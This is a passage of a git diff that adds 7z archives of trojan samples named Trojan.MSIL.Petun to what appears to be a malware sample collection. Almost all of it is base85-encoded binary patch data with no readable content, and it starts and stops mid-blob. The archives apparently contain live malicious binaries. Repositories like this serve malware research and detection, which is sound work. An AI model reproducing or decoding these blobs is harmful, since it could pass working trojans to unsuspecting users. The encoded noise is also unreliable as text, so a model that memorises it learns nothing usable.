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 XH5SNUlS2Tg?;Z080KgRYUswMJ2y1jE literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-9.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-9.7z new file mode 100644 index 0000000000000000000000000000000000000000..86e7bd7ca1a9e28f41f748a3663dffdfece16682 GIT binary patch literal 17229 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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-97.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-97.7z new file mode 100644 index 0000000000000000000000000000000000000000..c2acdc4ae7db9eb3f6ef630b5eaf82bbd5479647 GIT binary patch literal 17187 zcmaL819&dmvMwCknXzqW#xu5U+qRt<&)BwY+qP}n$<5m5?Emg{|8-9H^L?YcYxMhe 